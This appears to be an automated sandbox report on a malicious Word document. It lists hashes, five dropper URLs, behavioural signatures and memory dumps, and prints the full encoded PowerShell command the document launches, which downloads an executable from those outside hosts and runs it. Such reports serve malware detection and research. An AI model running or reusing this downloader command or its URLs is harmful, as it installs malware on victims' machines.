Analysis
- max time kernel
137s - max time network
126s - platform
windows10-2004_x64 - resource
win10v2004-20240419-en - resource tags
- submitted
04/05/2024, 10:21
General
- Target 124a2f9fe14a1768face17087f36e30f_JaffaCakes118.doc
- Size 236KB
- Sample240504-md1mvsdg38
- SHA256 15e905d6080dd8fb226adc61534bdb3d74ec66ce31e98e1c467510a2c4ee1ba8
Malware Config
Extracted
-
ps1
-
exe.dropper
http://ta-behesht.ir/images/Provx00a/
-
exe.dropper
http://tatcogroup.ir/wp-admin/UC/
-
exe.dropper
http://tcpartner.ru/wp-includes/nr8/
-
exe.dropper
http://tepcian.utcc.ac.th/wp-admin/SquR/
-
exe.dropper
http://ourproductreview.in/pokjbg746ihrtr/a1kzwc/
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Blocklisted process makes network request 5 IoCs
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 8 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\124a2f9fe14a1768face17087f36e30f_JaffaCakes118.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABFAHYAaQB6AGsAbAByAGwAPQAnAFoAcAB4AGwAbQBwAGoAZQBzAGYAdQAnADsAJABOAGEAegBjAHkAagB0AGIAdABiAGgAdwBqACAAPQAgACcAOAA3ADkAJwA7ACQAUABqAGkAZwB6AGcAeQBpAHUAawB4AHYAegA9ACcATAB2AHAAYgBwAHoAdQB3AHEAaABsAHkAJwA7ACQARABqAGEAYQBvAHUAcwB3AG4AYgByAGgAeQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQATgBhAHoAYwB5AGoAdABiAHQAYgBoAHcAagArACcALgBlAHgAZQAnADsAJABXAGkAaABpAGoAawBiAGQAbABsAHIAPQAnAFYAbQBuAHEAcQBrAG0AaABrAGYAdgB4ACcAOwAkAEsAcQB2AGYAbwB4AHkAcABlAHoAPQAmACgAJwBuAGUAdwAnACsAJwAtAG8AYgAnACsAJwBqAGUAYwB0ACcAKQAgAG4ARQB0AC4AVwBlAGIAYwBMAEkARQBOAFQAOwAkAEEAbABnAHkAbwB2AHMAbQBuAGkAcgBsAGwAPQAnAGgAdAB0AHAAOgAvAC8AdABhAC0AYgBlAGgAZQBzAGgAdAAuAGkAcgAvAGkAbQBhAGcAZQBzAC8AUAByAG8AdgB4ADAAMABhAC8AKgBoAHQAdABwADoALwAvAHQAYQB0AGMAbwBnAHIAbwB1AHAALgBpAHIALwB3AHAALQBhAGQAbQBpAG4ALwBVAEMALwAqAGgAdAB0AHAAOgAvAC8AdABjAHAAYQByAHQAbgBlAHIALgByAHUALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwBuAHIAOAAvACoAaAB0AHQAcAA6AC8ALwB0AGUAcABjAGkAYQBuAC4AdQB0AGMAYwAuAGEAYwAuAHQAaAAvAHcAcAAtAGEAZABtAGkAbgAvAFMAcQB1AFIALwAqAGgAdAB0AHAAOgAvAC8AbwB1AHIAcAByAG8AZAB1AGMAdAByAGUAdgBpAGUAdwAuAGkAbgAvAHAAbwBrAGoAYgBnADcANAA2AGkAaAByAHQAcgAvAGEAMQBrAHoAdwBjAC8AJwAuACIAcwBQAGAAbABJAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABNAHIAeQBuAGkAaABxAHgAYwBxAG4AcAA9ACcASABrAGQAawB6AGgAegBrAGMAcgB2ACcAOwBmAG8AcgBlAGEAYwBoACgAJABYAGgAaQBwAHMAdgB3AHAAIABpAG4AIAAkAEEAbABnAHkAbwB2AHMAbQBuAGkAcgBsAGwAKQB7AHQAcgB5AHsAJABLAHEAdgBmAG8AeAB5AHAAZQB6AC4AIgBkAE8AdwBuAEwAYABPAGAAQQBEAEYASQBsAGUAIgAoACQAWABoAGkAcABzAHYAdwBwACwAIAAkAEQAagBhAGEAbwB1AHMAdwBuAGIAcgBoAHkAKQA7ACQASgBtAGMAbABrAGoAcQBwAD0AJwBYAGkAaQBhAHgAawB3AGMAYQB3ACcAOwBJAGYAIAAoACgALgAoACcARwBlAHQAJwArACcALQBJACcAKwAnAHQAZQBtACcAKQAgACQARABqAGEAYQBvAHUAcwB3AG4AYgByAGgAeQApAC4AIgBMAGUAYABOAGcAVABoACIAIAAtAGcAZQAgADMANwA0ADMAMgApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AJwB3AGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzACcAKQAuACIAQwBSAEUAYABBAFQAZQAiACgAJABEAGoAYQBhAG8AdQBzAHcAbgBiAHIAaAB5ACkAOwAkAEMAawB4AHMAdQBjAG8AaABzAHQAYwBoAGwAPQAnAEMAZwB4AGEAdgB4AGYAYgByACcAOwBiAHIAZQBhAGsAOwAkAFoAZwBvAHYAcgBoAGoAbQA9ACcATQBxAHYAbgB4AGYAZgBvACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAE0AbAByAHoAdAB6AHYAZQBjAHcAagBnAD0AJwBDAGkAcwB3AGMAdgB4AHkAegBlAHEAcQAnAA==1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
gb.xsl
__PSScriptPolicyTest_nng4slox.e2r.ps1
memory/2052-41-0x00007FFA3C4D0000-0x00007FFA3C6C5000-memory.dmp
memory/2052-42-0x00007FFA3C4D0000-0x00007FFA3C6C5000-memory.dmp
memory/2052-0-0x00007FF9FC550000-0x00007FF9FC560000-memory.dmp
memory/2052-5-0x00007FFA3C56D000-0x00007FFA3C56E000-memory.dmp
memory/2052-7-0x00007FFA3C4D0000-0x00007FFA3C6C5000-memory.dmp
memory/2052-8-0x00007FFA3C4D0000-0x00007FFA3C6C5000-memory.dmp
memory/2052-10-0x00007FFA3C4D0000-0x00007FFA3C6C5000-memory.dmp
memory/2052-9-0x00007FFA3C4D0000-0x00007FFA3C6C5000-memory.dmp
memory/2052-6-0x00007FFA3C4D0000-0x00007FFA3C6C5000-memory.dmp
memory/2052-43-0x00007FFA3C4D0000-0x00007FFA3C6C5000-memory.dmp
memory/2052-13-0x00007FFA3C4D0000-0x00007FFA3C6C5000-memory.dmp
memory/2052-15-0x00007FF9F9BF0000-0x00007FF9F9C00000-memory.dmp
memory/2052-14-0x00007FFA3C4D0000-0x00007FFA3C6C5000-memory.dmp
memory/2052-12-0x00007FFA3C4D0000-0x00007FFA3C6C5000-memory.dmp
memory/2052-16-0x00007FF9F9BF0000-0x00007FF9F9C00000-memory.dmp
memory/2052-26-0x00007FFA3C4D0000-0x00007FFA3C6C5000-memory.dmp
memory/2052-29-0x00007FFA3C4D0000-0x00007FFA3C6C5000-memory.dmp
memory/2052-40-0x00007FFA3C4D0000-0x00007FFA3C6C5000-memory.dmp
memory/2052-4-0x00007FF9FC550000-0x00007FF9FC560000-memory.dmp
memory/2052-1-0x00007FF9FC550000-0x00007FF9FC560000-memory.dmp
memory/2052-11-0x00007FFA3C4D0000-0x00007FFA3C6C5000-memory.dmp
memory/2052-47-0x00007FFA3C4D0000-0x00007FFA3C6C5000-memory.dmp
memory/2052-46-0x00007FFA3C4D0000-0x00007FFA3C6C5000-memory.dmp
memory/2052-580-0x00007FFA3C4D0000-0x00007FFA3C6C5000-memory.dmp
memory/2052-3-0x00007FF9FC550000-0x00007FF9FC560000-memory.dmp
memory/2052-579-0x00007FF9FC550000-0x00007FF9FC560000-memory.dmp
memory/2052-578-0x00007FF9FC550000-0x00007FF9FC560000-memory.dmp
memory/2052-74-0x00007FFA3C4D0000-0x00007FFA3C6C5000-memory.dmp
memory/2052-435-0x00007FFA3C4D0000-0x00007FFA3C6C5000-memory.dmp
memory/2052-2-0x00007FF9FC550000-0x00007FF9FC560000-memory.dmp
memory/2052-553-0x00007FFA3C4D0000-0x00007FFA3C6C5000-memory.dmp
memory/2052-554-0x00007FFA3C4D0000-0x00007FFA3C6C5000-memory.dmp
memory/2052-555-0x00007FFA3C4D0000-0x00007FFA3C6C5000-memory.dmp
memory/2052-577-0x00007FF9FC550000-0x00007FF9FC560000-memory.dmp
memory/2052-576-0x00007FF9FC550000-0x00007FF9FC560000-memory.dmp
memory/4376-68-0x00007FFA3C4D0000-0x00007FFA3C6C5000-memory.dmp
memory/4376-54-0x000002456A8E0000-0x000002456A902000-memory.dmp
memory/4376-48-0x00007FFA3C4D0000-0x00007FFA3C6C5000-memory.dmp